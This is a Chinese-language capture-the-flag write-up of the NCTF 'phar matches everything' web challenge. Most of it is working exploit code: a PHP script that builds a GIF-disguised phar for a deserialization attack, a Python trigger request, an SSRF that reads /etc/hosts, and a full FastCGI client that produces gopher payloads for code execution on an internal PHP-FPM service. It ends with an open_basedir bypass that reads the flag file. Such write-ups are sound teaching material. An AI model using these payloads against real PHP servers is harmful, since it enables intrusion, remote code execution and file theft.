NCTF-phar matches everything 填坑
2020-02-25 本文已影响0人
byc_404
之前校赛web最难的一道题......当时水平菜的看都不敢看，现在按师傅要求来做做这道题。(zjy师傅说这题把php相关知识几乎全考了，看来是很集大成的一道题目。)
题目首先进去后有两个功能，一个是仅限制图片的文件上传点。另一个是用getimagesize()搭配的读取图片文件信息的功能
首先是源码泄露。在catchmachine.php存在.swp泄露。然而buuoj上题目并没有泄露，直接看源码好了
<?php
class Easytest{
protected $test;
public function funny_get(){
return $this->test;
}
}
class Main {
public $url;
public function curl($url){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$output=curl_exec($ch);
curl_close($ch);
return $output;
}
public function __destruct(){
$this_is_a_easy_test=unserialize($_GET['careful']);
if($this_is_a_easy_test->funny_get() === '1'){
echo $this->curl($this->url);
}
}
}
if(isset($_POST["submit"])) {
$check = getimagesize($_POST['name']);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
} else {
echo "File is not an image.";
}
}
?>
Main类里的__destruct()居然存在反序列化，很有意思。然后如果绕过这个点将执行一段curl，这又是ssrf的点了。但是我们又要绕过getimagesize的检查，这就得利用到phar反序列化了，因为phar能绕过绝大部分文件的检查。
既然如此先ssrf读文件
那么构造exp:
<?php
class Easytest{
protected $test="1";
public function funny_get(){
return $this->test;
}
}
class Main {
public $url="file:///etc/hosts";
public function curl($url){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$output=curl_exec($ch);
curl_close($ch);
return $output;
}
public function __destruct(){
$this_is_a_easy_test=unserialize($_GET['careful']);
if($this_is_a_easy_test->funny_get() === '1'){
echo $this->curl($this->url);
}
}
}
@unlink('phar.phar');
$p = new Phar('phar.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$o = new Main();
$p->setMetadata($o);
$p->addFromString('test.txt','test');
$p->stopBuffering();
$a = new Easytest();
echo (urlencode(serialize($a)));#O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D
生成的phar文件改后缀为gif,jpeg，可以绕过上传。而打印出的用于触发ssrf的魔术方法的反序列化数据则传到url中。之后再用phar://伪协议触发。这样我们就直接写出用于触发phar反序列化的exp:
import requests
url='http://290b80a5-0d25-41e3-a73d-d01107cce539.node3.buuoj.cn/catchmime.php?careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D'
data={
'name':'phar://uploads/d388a7ce2d.gif',
'submit':'1'
}
r=requests.post(url,data=data)
print(r.text)
接下来就是ssrf利用了，此处依旧是打内网。探测完
etc/hosts/结果是
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
173.0.168.9 osrc
此时顺着主机探测http://173.0.168.10，可以发现有回显
存活主机
php-FPM要怎么利用呢？这里要提到p牛的文章：
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
具体p牛写的很详细,我们知道的，就是可以直接拿脚本利用这点，使用gopher协议传输tcp数据攻击内网，达到任意命令执行。
使用如下脚本
import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def gopher(self, nameValuePairs={}, post=''):
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
return request
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php echo "PWNed";?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
parser.add_argument('-e', '--ext', help='ext absolute path', default='')
parser.add_argument('-if', '--include_file', help='evil.php absolute path', default='')
parser.add_argument('-u', '--url_format', help='generate gopher stream in url format', nargs='?',const=1)
parser.add_argument('-b', '--base64_format', help='generate gopher stream in base64 format', nargs='?',const=1)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(args.code),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
if args.ext and args.include_file:
#params['PHP_ADMIN_VALUE']='extension = '+args.ext
params['PHP_ADMIN_VALUE']="extension_dir = /var/www/html\nextension = ant.so"
params['PHP_VALUE']='auto_prepend_file = '+args.include_file
if not args.url_format and not args.base64_format :
response = client.request(params, args.code)
print(force_text(response))
else:
response = client.gopher(params, args.code)
if args.url_format:
print(urllib.quote(response))
if args.base64_format:
print(base64.b64encode(response))
调用时，依据主机ip修改参数：
python exp.py 173.0.168.10 /var/www/html/index.php -p 9000 -c <?php phpinfo();?> -u
exp
生成的数据流我们再度生成phar文件
<?php
class Main {
public $url="gopher://173.0.168.10:9000/_%01%01%B4U%00%08%00%00%00%01%00%00%00%00%00%00%01%04%B4U%01%DC%00%00%0E%03CONTENT_LENGTH172%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%B4U%00%00%00%00%01%05%B4U%00%AC%00%00%3C%3Fphp%20mkdir%28%27byc%27%29%3Bchdir%28%27byc%27%29%3Bini_set%28%27open_basedir%27%2C%27..%27%29%3Bchdir%28%27..%27%29%3Bchdir%28%27..%27%29%3Bchdir%28%27..%27%29%3Bchdir%28%27..%27%29%3Bini_set%28%27open_basedir%27%2C%27/%27%29%3Becho%28file_get_contents%28%27flag%27%29%29%3B%20%3F%3E%01%05%B4U%00%00%00%00";
}
@unlink('phar.phar');
$p = new Phar('phar.phar');
$p->startBuffering();
$p->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$o=new Main();
$p->setMetadata($o);
$p->addFromString('test.txt','test');
$p->stopBuffering();
这里自己开始犯了个大错，没有给其带上9000端口.否则我们的gopher数据是发给80端口的。而实际上，我们要打的是监听9000端口的FPM。所以注意paylaod格式的端口与下划线。
之后看到phpinfo()会发现又禁掉了系统函数。但是主要的要点在于bypass open_basedir。否则我们的行动会被限制在这层目录。
考虑目录逻辑
/flag
/var/www/html/index.php
直接构造payload：
mkdir('byc');chdir('byc');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));
到根目录就可以拿flag了。
flag
